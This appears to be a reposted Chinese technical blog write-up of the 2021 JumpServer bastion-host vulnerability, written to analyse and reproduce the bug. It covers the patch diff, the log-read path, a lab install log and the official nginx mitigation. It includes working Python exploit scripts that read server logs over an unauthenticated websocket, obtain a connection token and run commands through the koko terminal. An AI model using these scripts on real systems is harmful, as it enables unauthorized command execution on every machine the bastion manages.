Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863104687

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0 简介

JumpServer是一款开源的堡垒机,是符合4A规范的运维安全审计系统,通俗来说就是跳板机。

2021年1月15日,JumpServer发布安全更新,修复了一处远程命令执行漏洞。由于JumpServer某些接口未做授权限制,攻击者可构造恶意请求获取敏感信息,或者执行相关操作控制其中所有机器,执行任意命令。

影响版本:

  • JumpServer < v2.6.2
  • JumpServer < v2.5.4
  • JumpServer < v2.4.5
  • JumpServer = v1.5.9

1. 漏洞分析

看修复代码的commit记录:https://github.com/jumpserver/jumpserver/commit/f04e2fa0905a7cd439d7f6118bc810894eed3f3e

发现是给CeleryLogWebsocket类的connect加上了身份认证。

import time
import os
import threading
import json

from common.utils import get_logger

from .celery.utils import get_celery_task_log_path
from .ansible.utils import get_ansible_task_log_path
from channels.generic.websocket import JsonWebsocketConsumer

logger = get_logger(__name__)


class TaskLogWebsocket(JsonWebsocketConsumer):
    disconnected = False

    log_types = {
        'celery': get_celery_task_log_path,
        'ansible': get_ansible_task_log_path
    }

    def connect(self):
        user = self.scope["user"]
        if user.is_authenticated and user.is_org_admin:
            self.accept()
        else:
            self.close()

    def get_log_path(self, task_id):
        func = self.log_types.get(self.log_type)
        if func:
            return func(task_id)

    def receive(self, text_data=None, bytes_data=None, **kwargs):
        data = json.loads(text_data)
        task_id = data.get('task')
        self.log_type = data.get('type', 'celery')
        if task_id:
            self.handle_task(task_id)

    def wait_util_log_path_exist(self, task_id):
        log_path = self.get_log_path(task_id)
        while not self.disconnected:
            if not os.path.exists(log_path):
                self.send_json({'message': '.', 'task': task_id})
                time.sleep(0.5)
                continue
            self.send_json({'message': '\r\n'})
            try:
                logger.debug('Task log path: {}'.format(log_path))
                task_log_f = open(log_path, 'rb')
                return task_log_f
            except OSError:
                return None

    def read_log_file(self, task_id):
        task_log_f = self.wait_util_log_path_exist(task_id)
        if not task_log_f:
            logger.debug('Task log file is None: {}'.format(task_id))
            return

        task_end_mark = []
        while not self.disconnected:
            data = task_log_f.read(4096)
            if data:
                data = data.replace(b'\n', b'\r\n')
                self.send_json(
                    {'message': data.decode(errors='ignore'), 'task': task_id}
                )
                if data.find(b'succeeded in') != -1:
                    task_end_mark.append(1)
                if data.find(bytes(task_id, 'utf8')) != -1:
                    task_end_mark.append(1)
            elif len(task_end_mark) == 2:
                logger.debug('Task log end: {}'.format(task_id))
                break
            time.sleep(0.2)
        task_log_f.close()

    def handle_task(self, task_id):
        logger.info("Task id: {}".format(task_id))
        thread = threading.Thread(target=self.read_log_file, args=(task_id,))
        thread.start()

    def disconnect(self, close_code):
        self.disconnected = True
        self.close()

查看这个类的http接口:

a0jolazqtkd14133.png

通过这个类可以知道,这个接口的访问链为:

访问ws/ops/tasks/log/
--> 进入TaskLogWebsocket类的receive函数
--> 进入TaskLogWebsocket类的handle_task函数
--> 进入TaskLogWebsocket类的read_log_file函数
--> 进入TaskLogWebsocket类的wait_util_log_path_exist函数
--> 进入TaskLogWebsocket类的read_log_file函数
--> 进入app/ops/utls.py中的get_task_log_path函数

2zeqtyhuook14134.png

taskid是从我们发送的text_data中解析出来的,所以是可控的,通过下面的方式我们可以读取日志文件/opt/jumpserver/logs/jumpserver.log。

ws://10.10.10.10:8080/ws/ops/tasks/log/发送
{"task":"/opt/jumpserver/logs/jumpserver"}

以上就是文件读取的原理,读取日志文件有如下限制:

  • 只能使用绝对路径读取文件
  • 只能读取以 log 结尾的文件

下面分析如何实现远程代码执行。

通过读取/opt/jumpserver/logs/gunicorn.log,运气好的话,可以读取到用户uid,系统用户uid,和资产id:

  • user id
  • asset id
  • system user id

上述三个信息是需要存在用户正在登录web terminal才能从日志中拿到的,拿到之后。通过/api/v1/authentication/connection-token/ 接口,可以进去/apps/authentication/api/UserConnectionTokenApi

0zjjmnggfdl14135.png

1nfvpjttktj14136.png

通过user_id asset_id system_user_id可以获取到只有20s有效期的token。这个token可以用来创建一个koko组件的tty:

https://github.com/jumpserver/koko/blob/master/pkg/httpd/webserver.go#342

--> https://github.com/jumpserver/koko/blob/4258b6a08d1d3563437ea2257ece05b22b093e15/pkg/httpd/webserver.go#L167

具体代码如下:

lfuqtpanmyx14139.png

n2xer0fttvz14142.png

总结完整的rce利用步骤为:

  1. 未授权的情况下能够建立websocket连接
  2. task可控,可以通过websocket对日志文件进行读取
  3. 拿到日志文件中的系统用户,用户,资产字段
  4. 通过3中的字段,可以拿到20s的token
  5. 通过该token能够进入koko的tty,执行命令

2 漏洞复现

2.1 环境搭建

  • 本地环境:xubuntu20.04
  • jumpserver版本:2.6.1版本

安装步骤:

# 下载
git clone https://github.com/jumpserver/installer.git
cd installer 

# 国内docker源加速
export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn

# 安装dev版本,再切换到2.6.1(应该可以直接安装2.6.1,一开始错装成了默认的dev版本,不过没关系)
sudo su
./jmsctl.sh install
./jmsctl.sh upgrade v2.6.1

# 启动
./jmsctl.sh restart

完整日志

# yanq @ yanq-desk in ~/gitrepo [22:18:53] C:127
$ git clone https://github.com/jumpserver/installer.git
正克隆到 'installer'...
remote: Enumerating objects: 467, done.
remote: Total 467 (delta 0), reused 0 (delta 0), pack-reused 467
接收对象中: 100% (467/467), 95.24 KiB | 182.00 KiB/s, 完成.
处理 delta 中: 100% (305/305), 完成.

# yanq @ yanq-desk in ~/gitrepo [22:20:27] 
$ cd installer   

# yanq @ yanq-desk in ~/gitrepo/installer on git:master o [22:20:30] 
$ ls
compose  config-example.txt  config_init  jmsctl.sh  README.md  scripts  static.env  utils

# yanq @ yanq-desk in ~/gitrepo [22:18:59] 
$ export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn

# yanq @ yanq in ~/github/installer on git:master o [22:03:43] C:130
$ sudo su                   
root@yanq:/home/yanq/github/installer# ./jmsctl.sh install


       ██╗██╗   ██╗███╗   ███╗██████╗ ███████╗███████╗██████╗ ██╗   ██╗███████╗██████╗
       ██║██║   ██║████╗ ████║██╔══██╗██╔════╝██╔════╝██╔══██╗██║   ██║██╔════╝██╔══██╗
       ██║██║   ██║██╔████╔██║██████╔╝███████╗█████╗  ██████╔╝██║   ██║█████╗  ██████╔╝
  ██   ██║██║   ██║██║╚██╔╝██║██╔═══╝ ╚════██║██╔══╝  ██╔══██╗╚██╗ ██╔╝██╔══╝  ██╔══██╗
  ╚█████╔╝╚██████╔╝██║ ╚═╝ ██║██║     ███████║███████╗██║  ██║ ╚████╔╝ ███████╗██║  ██║
  ╚════╝  ╚═════╝ ╚═╝     ╚═╝╚═╝     ╚══════╝╚══════╝╚═╝  ╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

                                                                   Version:  dev  



>>> 一、配置JumpServer
1. 检查配置文件
各组件使用环境变量式配置文件,而不是 yaml 格式, 配置名称与之前保持一致
配置文件位置: /opt/jumpserver/config/config.txt
完成

2. 配置 Nginx 证书
证书位置在: /opt/jumpserver/config/nginx/cert
完成

3. 备份配置文件
备份至 /opt/jumpserver/config/backup/config.txt.2021-01-17_22-03-52
完成

4. 配置网络
需要支持 IPv6 吗? (y/n)  (默认为n): n
完成

5. 自动生成加密密钥
完成

6. 配置持久化目录 
修改日志录像等持久化的目录,可以找个最大的磁盘,并创建目录,如 /opt/jumpserver
注意: 安装完后不能再更改, 否则数据库可能丢失

文件系统        容量  已用  可用 已用% 挂载点
udev            7.3G     0  7.3G    0% /dev
/dev/nvme0n1p2  468G  200G  245G   45% /
/dev/loop1       56M   56M     0  100% /snap/core18/1944
/dev/loop2       65M   65M     0  100% /snap/gtk-common-themes/1513
/dev/loop3      218M  218M     0  100% /snap/gnome-3-34-1804/60
/dev/loop0       56M   56M     0  100% /snap/core18/1932
/dev/loop5       32M   32M     0  100% /snap/snapd/10492
/dev/loop6       65M   65M     0  100% /snap/gtk-common-themes/1514
/dev/loop4       52M   52M     0  100% /snap/snap-store/498
/dev/loop7       52M   52M     0  100% /snap/snap-store/518
/dev/loop8      219M  219M     0  100% /snap/gnome-3-34-1804/66
/dev/loop9       32M   32M     0  100% /snap/snapd/10707
/dev/nvme0n1p1  511M  7.8M  504M    2% /boot/efi

设置持久化卷存储目录 (默认为/opt/jumpserver): 
完成

7. 配置MySQL
是否使用外部mysql (y/n)  (默认为n): n
完成

8. 配置Redis
是否使用外部redis  (y/n)  (默认为n): n
完成

>>> 二、安装配置Docker
1. 安装Docker
开始下载 Docker 程序 ...
--2021-01-17 22:04:12--  https://mirrors.aliyun.com/docker-ce/linux/static/stable/x86_64/docker-18.06.2-ce.tgz
正在解析主机 mirrors.aliyun.com (mirrors.aliyun.com)... 180.97.148.110, 101.89.125.248, 58.216.16.38, ...
正在连接 mirrors.aliyun.com (mirrors.aliyun.com)|180.97.148.110|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度: 43834194 (42M) [application/x-tar]
正在保存至: “/tmp/docker.tar.gz”

/tmp/docker.tar.gz                                          100%[===========================================================================================================================================>]  41.80M  13.8MB/s    用时 3.0s  

2021-01-17 22:04:16 (13.8 MB/s) - 已保存 “/tmp/docker.tar.gz” [43834194/43834194])

开始下载 Docker compose 程序 ...
--2021-01-17 22:04:17--  https://get.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64
正在解析主机 get.daocloud.io (get.daocloud.io)... 106.75.86.15
正在连接 get.daocloud.io (get.daocloud.io)|106.75.86.15|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 302 FOUND
位置:https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64 [跟随至新的 URL]
--2021-01-17 22:04:28--  https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64
正在解析主机 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)... 240e:ff:a024:200:3::3fe, 240e:964:1003:302:3::3fe, 61.160.204.242, ...
正在连接 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)|240e:ff:a024:200:3::3fe|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度: 12218968 (12M) [application/x-executable]
正在保存至: “/tmp/docker-compose”

/tmp/docker-compose                                         100%[===========================================================================================================================================>]  11.65M  8.43MB/s    用时 1.4s  

2021-01-17 22:04:35 (8.43 MB/s) - 已保存 “/tmp/docker-compose” [12218968/12218968])

已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n)  (默认为n): n
完成

2. 配置Docker
修改Docker镜像容器的默认存储目录,可以找个最大的磁盘, 并创建目录,如 /opt/docker
文件系统        容量  已用  可用 已用% 挂载点
udev            7.3G     0  7.3G    0% /dev
/dev/nvme0n1p2  468G  200G  245G   45% /
/dev/loop1       56M   56M     0  100% /snap/core18/1944
/dev/loop2       65M   65M     0  100% /snap/gtk-common-themes/1513
/dev/loop3      218M  218M     0  100% /snap/gnome-3-34-1804/60
/dev/loop0       56M   56M     0  100% /snap/core18/1932
/dev/loop5       32M   32M     0  100% /snap/snapd/10492
/dev/loop6       65M   65M     0  100% /snap/gtk-common-themes/1514
/dev/loop4       52M   52M     0  100% /snap/snap-store/498
/dev/loop7       52M   52M     0  100% /snap/snap-store/518
/dev/loop8      219M  219M     0  100% /snap/gnome-3-34-1804/66
/dev/loop9       32M   32M     0  100% /snap/snapd/10707
/dev/nvme0n1p1  511M  7.8M  504M    2% /boot/efi

Docker存储目录 (默认为/opt/docker): 
完成

3. 启动Docker
Docker 版本发生改变 或 docker配置文件发生变化,是否要重启 (y/n)  (默认为y): y
完成

>>> 三、加载镜像
[jumpserver/redis:6-alpine]
6-alpine: Pulling from jumpserver/redis
05e7bc50f07f: Pull complete 
14c9d57a1c7f: Pull complete 
ccd033d7ec06: Pull complete 
6ff79b059f99: Pull complete 
d91237314b77: Pull complete 
c47d41ba6aa8: Pull complete 
Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18
Status: Downloaded newer image for jumpserver/redis:6-alpine
docker.io/jumpserver/redis:6-alpine

[jumpserver/mysql:5]
5: Pulling from jumpserver/mysql
6ec7b7d162b2: Pull complete 
fedd960d3481: Pull complete 
7ab947313861: Pull complete 
64f92f19e638: Pull complete 
3e80b17bff96: Pull complete 
014e976799f9: Pull complete 
59ae84fee1b3: Pull complete 
7d1da2a18e2e: Pull complete 
301a28b700b9: Pull complete 
979b389fc71f: Pull complete 
403f729b1bad: Pull complete 
Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd
Status: Downloaded newer image for jumpserver/mysql:5
docker.io/jumpserver/mysql:5

[jumpserver/nginx:alpine2]
alpine2: Pulling from jumpserver/nginx
c87736221ed0: Pull complete 
6ff0ab02fe54: Pull complete 
e5b318df7728: Pull complete 
b7a5a4fe8726: Pull complete 
Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112
Status: Downloaded newer image for jumpserver/nginx:alpine2
docker.io/jumpserver/nginx:alpine2

[jumpserver/luna:dev]
dev: Pulling from jumpserver/luna
801bfaa63ef2: Pull complete 
b1242e25d284: Pull complete 
7453d3e6b909: Pull complete 
07ce7418c4f8: Pull complete 
e295e0624aa3: Pull complete 
d373a40639dd: Pull complete 
565ad7a883c2: Pull complete 
Digest: sha256:68be3762e065f9eae1bfef462dcd1394ca7a256d22e807d129cc9888c4159874
Status: Downloaded newer image for jumpserver/luna:dev
docker.io/jumpserver/luna:dev

[jumpserver/core:dev]
dev: Pulling from jumpserver/core
6ec7b7d162b2: Already exists 
80ff6536d04b: Pull complete 
2d04da85e485: Pull complete 
998aa32a5c8a: Pull complete 
7733ef26f344: Pull complete 
a3fc2d00adff: Pull complete 
0fceca9bd0c9: Pull complete 
6fd88063e2c9: Pull complete 
6b761cc0db94: Pull complete 
25d46cb4551e: Pull complete 
6da27e4adc2b: Pull complete 
e521a634bfca: Pull complete 
90d95c158108: Pull complete 
Digest: sha256:4733073dfbbf6ec5cf6738738e3305ecaf585bff343a3e4c9990398fd7efbb5c
Status: Downloaded newer image for jumpserver/core:dev
docker.io/jumpserver/core:dev

[jumpserver/koko:dev]
dev: Pulling from jumpserver/koko
6d28e14ab8c8: Pulling fs layer 
1473f8a0a4e1: Pulling fs layer 
683341f9f103: Pull complete 
631f019c17de: Pull complete 
f3a995ef2b4b: Pull complete 
c091dc645c6f: Pull complete 
4e858775bdf0: Pull complete 
fa772130cab7: Pull complete 
a0f79afbde1c: Pull complete 
fdaf81979833: Pull complete 
8d4986e114f0: Pull complete 
eeb197dd15a0: Pull complete 
271cd9c942c6: Pull complete 
fc8bb9405f48: Pull complete 
06a07acf5be2: Pull complete 
Digest: sha256:7e8327a84b8d593c7b8c48dec8fa6ee8bc31e43d6e2344ae0e82897beefc76f1
Status: Downloaded newer image for jumpserver/koko:dev
docker.io/jumpserver/koko:dev

[jumpserver/guacamole:dev]
dev: Pulling from jumpserver/guacamole
6c33745f49b4: Pulling fs layer 
ef072fc32a84: Pulling fs layer 
c0afb8e68e0b: Pulling fs layer 
d599c07d28e6: Pulling fs layer 
e8a829023b97: Waiting 
2709df21cc5c: Waiting 
3bfb431a8cf5: Waiting 
bb9822eef866: Waiting 
5842bda2007b: Pulling fs layer 
453a23f25fcb: Waiting 
c856ffeae983: Waiting 
c51581693e31: Pull complete 
0809345a90d0: Pull complete 
0ba7229a2102: Pull complete 
bf692785c490: Pull complete 
9d6086f6248b: Pull complete 
86c187652ab5: Pull complete 
07f50f434b4b: Pull complete 
9173a0544d33: Pull complete 
78884a472184: Pull complete 
940cbfe07a44: Pull complete 
f322e824f1f5: Pull complete 
02228eb4be13: Pull complete 
dfe141bc6b7b: Pull complete 
Digest: sha256:fc0cd386edca711b45d84f6c192269d176ee165196ced8654ae18ac21eba0dc3
Status: Downloaded newer image for jumpserver/guacamole:dev
docker.io/jumpserver/guacamole:dev

[jumpserver/lina:dev]
dev: Pulling from jumpserver/lina
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
b1e2e4ef9246: Pull complete 
cf63647ff370: Pull complete 
Digest: sha256:5572209db626212f06e4744ae297b5520f59671841c8e3713ce65bbec3ee5038
Status: Downloaded newer image for jumpserver/lina:dev
docker.io/jumpserver/lina:dev


>>> 四、安装完成了
1. 可以使用如下命令启动, 然后访问
./jmsctl.sh start

2. 其它一些管理命令
./jmsctl.sh stop
./jmsctl.sh restart
./jmsctl.sh backup
./jmsctl.sh upgrade
更多还有一些命令,你可以 ./jmsctl.sh --help来了解

3. 访问 Web 后台页面
http://192.168.1.7:8080
https://192.168.1.7:8443

4. ssh/sftp 访问
ssh admin@192.168.1.7 -p2222
sftp -P2222 admin@192.168.1.7

5. 更多信息
我们的文档: https://docs.jumpserver.org/
我们的官网: https://www.jumpserver.org/


root@yanq:/home/yanq/github/installer# ./jmsctl.sh upgrade v2.6.1
你确定要升级到 v2.6.1 版本吗? (y/n)  (默认为n): y

1. 检查配置变更
完成

2. 检查程序文件变更
已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n)  (默认为n): 
完成

3. 升级镜像文件
[jumpserver/redis:6-alpine]
6-alpine: Pulling from jumpserver/redis
Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18
Status: Image is up to date for jumpserver/redis:6-alpine
docker.io/jumpserver/redis:6-alpine

[jumpserver/mysql:5]
5: Pulling from jumpserver/mysql
Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd
Status: Image is up to date for jumpserver/mysql:5
docker.io/jumpserver/mysql:5

[jumpserver/nginx:alpine2]
alpine2: Pulling from jumpserver/nginx
Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112
Status: Image is up to date for jumpserver/nginx:alpine2
docker.io/jumpserver/nginx:alpine2

[jumpserver/luna:v2.6.1]
v2.6.1: Pulling from jumpserver/luna
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
9aa19406fcc2: Pull complete 
b88c1894aa70: Pull complete 
Digest: sha256:6889bc5825c8b608d3d086fa6713da5098665d9caaa6de0d2de2e30f27246fa4
Status: Downloaded newer image for jumpserver/luna:v2.6.1
docker.io/jumpserver/luna:v2.6.1

[jumpserver/core:v2.6.1]
v2.6.1: Pulling from jumpserver/core
852e50cd189d: Pull complete 
334ed303e4ad: Pull complete 
a687a65725ea: Pull complete 
fe607cb30fbe: Pull complete 
af3dd7a5d357: Pull complete 
5ed087772967: Pull complete 
de88310b192c: Pull complete 
3f3c40cb5584: Pull complete 
a616053790d8: Pull complete 
f78e4ffd4b11: Pull complete 
681df5236765: Pull complete 
6feeeb96a348: Pull complete 
8b170624587e: Pull complete 
Digest: sha256:1332e03847e45f1995845e1b74f1f3deb1f108da72ac5b8af087bc3775690e7b
Status: Downloaded newer image for jumpserver/core:v2.6.1
docker.io/jumpserver/core:v2.6.1

[jumpserver/koko:v2.6.1]
v2.6.1: Pulling from jumpserver/koko
6d28e14ab8c8: Already exists 
c4b1524d2f75: Pulling fs layer 
8522e19e2998: Pull complete 
106d5adca780: Pull complete 
e649208988b3: Pull complete 
fd02488ce54c: Pull complete 
8566396c9588: Pull complete 
5c3ae6b36882: Pull complete 
cb4e3aeda111: Pull complete 
3bc46e9d6be9: Pull complete 
919620ef3747: Pull complete 
3998a9375e49: Pull complete 
5869987766aa: Pull complete 
9fd39a172e25: Pull complete 
f60bfb937cc4: Pull complete 
Digest: sha256:242e96c7a992bf44ccbda321fb69c8ea4d39d5ff423cf8f1505e9856b1ac2496
Status: Downloaded newer image for jumpserver/koko:v2.6.1
docker.io/jumpserver/koko:v2.6.1

[jumpserver/guacamole:v2.6.1]
v2.6.1: Pulling from jumpserver/guacamole
c5e155d5a1d1: Pulling fs layer 
221d80d00ae9: Pulling fs layer 
4250b3117dca: Pulling fs layer 
d1370422ab93: Pulling fs layer 
deb6b03222ca: Pulling fs layer 
9cdea8d70cc3: Pulling fs layer 
968505be14db: Pulling fs layer 
04b5c270ac81: Pulling fs layer 
301d76fcab1f: Pulling fs layer 
f4d49608235a: Pulling fs layer 
f4c6404fd6f8: Pulling fs layer 
73ac8e900d64: Pulling fs layer 
eec0a1010dfa: Pull complete 
199219e1bcf7: Pull complete 
54d3328751a0: Pull complete 
68412973433c: Pull complete 
b45d84968434: Pull complete 
9569df8016cc: Pull complete 
642448bde40a: Pull complete 
e788dd92de90: Pull complete 
223eaf2bd9f6: Pull complete 
b68966fc02ad: Pull complete 
cf0eb6b2e415: Pull complete 
0b78188a975b: Pull complete 
704b69b91dcb: Pull complete 
Digest: sha256:cb80c430c14ad220edd6f20855da5f7ea256d75f5f87bebe29d7e27275c4beeb
Status: Downloaded newer image for jumpserver/guacamole:v2.6.1
docker.io/jumpserver/guacamole:v2.6.1

[jumpserver/lina:v2.6.1]
v2.6.1: Pulling from jumpserver/lina
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
2ec572beb6c1: Pull complete 
c7d22dce32ca: Pull complete 
Digest: sha256:8d63a0716558b4384f0eab2220bcfefe5ba2e040cbd33634576ba444c215212a
Status: Downloaded newer image for jumpserver/lina:v2.6.1
docker.io/jumpserver/lina:v2.6.1

完成
4. 备份数据库
正在备份...
mysqldump: [Warning] Using a password on the command line interface can be insecure.
备份成功! 备份文件已存放至: /opt/jumpserver/db_backup/jumpserver-2021-01-17_22:28:00.sql.gz 

5. 进行数据库变更
表结构变更可能需要一段时间,请耐心等待 (请确保数据库在运行)
2021-01-17 22:28:03 Collect static files
2021-01-17 22:28:03 Collect static files done
2021-01-17 22:28:03 Check database structure change ...
2021-01-17 22:28:03 Migrate model change to database ...

472 static files copied to '/opt/jumpserver/data/static'.
Operations to perform:
  Apply all migrations: admin, applications, assets, audits, auth, authentication, captcha, common, contenttypes, django_cas_ng, django_celery_beat, jms_oidc_rp, ops, orgs, perms, sessions, settings, terminal, tickets, users
Running migrations:
  No migrations to apply.
完成

6. 升级成功, 可以重启程序了
./jmsctl.sh restart

root@yanq:/home/yanq/github/installer# ./jmsctl.sh restart
Stopping jms_core ... done
Stopping jms_koko ... done
Stopping jms_guacamole ... done
Stopping jms_lina ... done
Stopping jms_luna ... done
Stopping jms_nginx ... done
Stopping jms_celery ... done
Removing jms_core ... done
Removing jms_koko ... done
Removing jms_guacamole ... done
Removing jms_lina ... done
Removing jms_luna ... done
Removing jms_nginx ... done
Removing jms_celery ... done


WARNING: The HOSTNAME variable is not set. Defaulting to a blank string.
jms_mysql is up-to-date
jms_redis is up-to-date
Creating jms_core ... done
Creating jms_lina      ... done
Creating jms_guacamole ... done
Creating jms_koko      ... done
Creating jms_celery    ... done
Creating jms_luna      ... done
Creating jms_nginx     ... done

rhmvyucszha14143.png

2.2 读取日志

可以直接访问日志的websocket接口,在线测试websocket工具:http://coolaf.com/tool/chattest 或者使用扩展:https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn

下面用代码测试:

import asyncio
import re

import websockets
import json

url = "/ws/ops/tasks/log/"

async def main_logic(t):
    print("#######start ws")
    async with websockets.connect(t) as client:
        await client.send(json.dumps({"task": "//opt/jumpserver/logs/jumpserver"}))
        while True:
            ret = json.loads(await client.recv())
            print(ret["message"], end="")

if __name__ == "__main__":
    host = "http://192.168.1.7:8080"
    target = host.replace("https://", "wss://").replace("http://", "ws://") + url
    print("target: %s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic(target))

ei0hoza2mb514145.png

这里读到的就是jumpserver上/opt/jumpserver/core/logs/jumpserver目录下的日志。

搭建的漏洞环境中有如下日志可以读:

root@yanq:/opt/jumpserver/core/logs# ls -la
总用量 248
drwxr-xr-x 3 root root   4096 1月  17 23:59 .
drwxr-xr-x 4 root root   4096 1月  17 22:17 ..
drwxr-xr-x 2 root root   4096 1月  17 23:59 2021-01-17
-rw-r--r-- 1 root root      0 1月  17 22:17 ansible.log
-rw-r--r-- 1 root root   2978 1月  18 01:51 beat.log
-rw-r--r-- 1 root root   3122 1月  18 01:51 celery_ansible.log
-rw-r--r-- 1 root root    978 1月  18 01:51 celery_check_asset_perm_expired.log
-rw-r--r-- 1 root root   4332 1月  18 01:51 celery_default.log
-rw-r--r-- 1 root root      0 1月  17 23:59 celery_heavy_tasks.log
-rw-r--r-- 1 root root   4604 1月  18 01:51 celery_node_tree.log
-rw-r--r-- 1 root root   1919 1月  18 01:50 daphne.log
-rw-r--r-- 1 root root   1359 1月  17 22:18 drf_exception.log
-rw-r--r-- 1 root root      0 1月  17 23:59 flower.log
-rw-r--r-- 1 root root 191941 1月  18 01:52 gunicorn.log
-rw-r--r-- 1 root root   7470 1月  18 01:51 jumpserver.log
-rw-r--r-- 1 root root      0 1月  17 22:17 unexpected_exception.log

比如读取gunicorn.log:

krfrnapy4ue14146.png

除了读日志文件,还可以从/opt/jumpserver/logs/jumpserver读取到taskid,然后查看task的详细信息(当然taskid很可能已经失效了)

ws://192.168.1.73:8080/ws/ops/tasks/log/发送
{"task":"33xxxxx"}

2.3 远程命令执行

需要在jumpserver中添加一台主机,并且用户登录web terminal。

v15ejikzinm14147.png

登录过web terminal之后,在gunicorn.log可以拿到这三个信息。(从结果中搜索/asset-permissions/user/validate)

g4fpjhkjefa14148.png

如果读到了这三个字段,可以利用/api/v1/users/connection-token/拿到一个token,将token发给koko组件可以拿到一个ssh凭证,就可以登陆用户机器了。

通过以下脚本进行远程命令执行利用

import asyncio
import websockets
import requests
import json

url = "/api/v1/authentication/connection-token/?user-only=None"

# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)
    recv_text = await websocket.recv()
    print(f"{recv_text}")

# 客户端主逻辑
async def main_logic(cmd):
    print("#######start ws")
    async with websockets.connect(target) as websocket:
        recv_text = await websocket.recv()
        print(f"{recv_text}")
        resws=json.loads(recv_text)
        id = resws['id']
        print("get ws id:"+id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
        await send_msg(websocket,inittext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print("###############")
        print("exec cmd: ls")
        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
        print(cmdtext)
        await send_msg(websocket, cmdtext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print('#######finish')


if __name__ == '__main__':
    host = "http://192.168.1.7:8080"
    cmd="whoami"
    if host[-1]=='/':
        host=host[:-1]
    print(host)
    data = {"user": "83b24e76-028b-4f49-9329-63e5e3ef10a4", "asset": "96b49ae4-1efd-483a-99bc-4b9708fc7471",
            "system_user": "a0899187-0c5f-4d57-8ab4-9a8628b74864"}
    print("##################")
    print("get token url:%s" % (host + url,))
    print("##################")
    res = requests.post(host + url, json=data)
    token = res.json()["token"]
    print("token:%s", (token,))
    print("##################")
    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
    print("target ws:%s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic(cmd))

lpqn1bwqez114149.png

3 修复方案

以下根据官方文档:

  1. 将JumpServer升级至安全版本;
  2. 临时修复方案:

修改 Nginx 配置文件屏蔽漏洞接口

/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

Nginx 配置文件位置

# 社区老版本
/etc/nginx/conf.d/jumpserver.conf

# 企业老版本
jumpserver-release/nginx/http_server.conf
 
# 新版本在 
jumpserver-release/compose/config_static/http_server.conf

修改 Nginx 配置文件实例

# 保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ {
   return 403;
}
 
location /api/v1/users/connection-token/ {
   return 403;
}
# 新增以上这些
 
location /api/ {
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_pass http://core:8080;
  }

...

修改完成后重启 nginx

docker方式: 
docker restart jms_nginx

nginx方式:
systemctl restart nginx

修复验证

$ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh 

# 使用方法 bash jms_bug_check.sh HOST 
$ bash jms_bug_check.sh demo.jumpserver.org
漏洞已修复

参考

  • https://www.o2oxy.cn/2921.html
  • https://github.com/Skactor/jumpserver_rce
  • https://s.tencent.com/research/bsafe/1228.html
  • https://mp.weixin.qq.com/s/ATy4mh53W5NJfRBdkAhyyQ


原文连接: https://saucer-man.com/information_security/520.html#cl-2

